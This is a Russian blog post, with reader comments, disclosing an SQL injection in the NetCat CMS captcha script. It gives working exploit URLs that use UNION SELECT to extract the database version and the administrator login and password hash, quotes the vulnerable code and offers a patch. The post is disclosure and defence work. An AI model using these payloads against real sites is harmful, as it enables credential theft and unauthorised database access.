Не так давно я уже писал о том что находил уязвимость в CMS NetCat. Но сегодня вот, совершенно случайно нашел еще одну уязвимость класса SQL Injection.
Уязвимость работает только на серверах где PHP работает через CGI (или FastCGI), сервера с PHP подключенным через модуль апача неуязвимы. Также необходима отключенная дирректива magic_quotes_gpc.
Если прикинуть соотношение подключения PHP к апачу через CGI и через mod_php как 50 на 50, и если считать что magic_quotes отключенны тоже в половине случаев, то получаем 25% уязвимых сайтов.
На оффициальном сайте написанно:
в 2012 году сайтов, успешно работающих на нашей CMS, создано более 18 000
Получается около 4500 уязвимых сайтов.
Уязвимость находится в генерации и обработке капчи.
http://netcat/netcat/modules/captcha/img.php?code=1'
Результат эксплуатации уязвимости отображается довольно забавно — на картинке =)
Подробнее о том как оно работает, как эксплуатировать и как защитится, читайте под катом
Побудем хаккерами…
Эксплойт:
http://netcat/netcat/modules/captcha/img.php?code=1' AND 1=0 UNION SELECT SUBSTRING(VERSION(),1,7) -- x
Получаем вот такую вот забавную картинку:
(Правда прийдется доказать что Вы не робот, и прочитать надпись с этой картинки :D)
А вот так вот можно получить логин:хеш администратора:
http://netcat/netcat/modules/captcha/img.php?code=1' AND 1=0 UNION SELECT SUBSTRING(CONCAT(login,0x3a,password),1,10) FROM User WHERE User_id='1
И изменяя значения стартового символа в SUBSTRING получаем весь логин и весь хеш:
Правда прийдется мучаться с чтением полученных данных, но все же… В нашем случае получилось:
admin:21232f297a57a5a743894a0e4a801fc3
Как оно работает?
Я думал такие тупые банальные ошибки уже никто не совершает, но оказывается нееет.
Собственно исходник файла netcat/modules/captcha/img.php (строки 11-24)
//....
if (!empty($_GET['code'])) {
$code = $_GET['code'];
} else {
$code = '';
}
//....
nc_captcha_image($code);
//....
Как видно для переменной $code отсутствует какая либо фильтрация.
Теперь файл netcat/modules/captcha/function.inc.php (строки 203-222, функция nc_captcha_image):
function nc_captcha_image($captcha_hash) {
//....
$captcha_code = $nc_core->db->get_var("SELECT `Captcha_Code` FROM `Captchas` WHERE `Captcha_Hash` = '".$captcha_hash."'");
//....
$captcha_image = imagecreate($img_width, $img_height);
//....
//Здесь происходит генерация капчи на основе значения $captcha_code
//....
return imagegif($captcha_image);
}
Здесь видно что для входной переменной также отсутствует фильтрация и она дальше передается в запрос к БД. А на основе результата выполнения данного запроса генерируется сама капча.
Вот так то.
Но почему же я в заголовке написал про то что работает это только для CGI? Потому что в .htaccess есть вот такая запись:
< mod_php5.c>
php_flag magic_quotes_gpc on
php_flag display_errors off
php_value error_reporting 0
php_value arg_separator.output "&"
php_value mbstring.internal_encoding UTF-8
php_value short_open_tag on
</IfModule>
Как видно, разработчики принудтельно включают magic_quotes_gpc. Но вот такая запись будет работать только для mod_php, соответственно для режима CGI данная запись влиять не будет.
Конечно данная запись не будет работать и под PHP 4, но врятли нынче можно встретить данного динозавра где-либо. Да и NetCat под ним скорее всего работать не будет.
Латаем дыры
Открываем файл netcat/modules/captcha/img.php и меняем строки 11-15
if (!empty($_GET['code'])) {
$code = $_GET['code'];
} else {
$code = '';
}
На вот такой код:
if (!empty($_GET['code']) && is_scalar($_GET['code']) && preg_match('#^[a-f0-9]{32}$#i', $_GET['code'])) {
$code = $_GET['code'];
} else {
$code = '';
}
Заключение
Возможно то, что существуют другие уязвимости основанные на том, что разработчики понадеялись что magic_quotes включен постоянно. Но проверять все файлы с целью обнаружения этих уязвимостей у меня нет ни сил ни желания.
Пишите правильный код =)
what’s the diference between cgi and mod_php? why do some people use cgi?
thanks.
In this article you will find the answers to your questions:
http://boomshadow.net/tech/php-handlers/
Друзья, спасибо вам за указание ошибок, в новой версии NetCat 5.1 обе уязвимости успешно исправлены! =)
Друзья? Почему во множественном числе? Я один веду блог =)
А вобще не за что, мне приятно помогать людям =)
Хуже всего, если проект разрабатывается вовсе без учёта магических кавычек. Если такой код попадает на сервер с другой настройкой magic_quotes_gpc, в лучшем случае к данным GPC будет подставляться обратный слеш, в худшем — будут доступны скрытые инъекции.
Да, вы абсолютно правы. Но здесь же получилась недореализация… или точнее «недоучет» магических кавычек на различных серверах.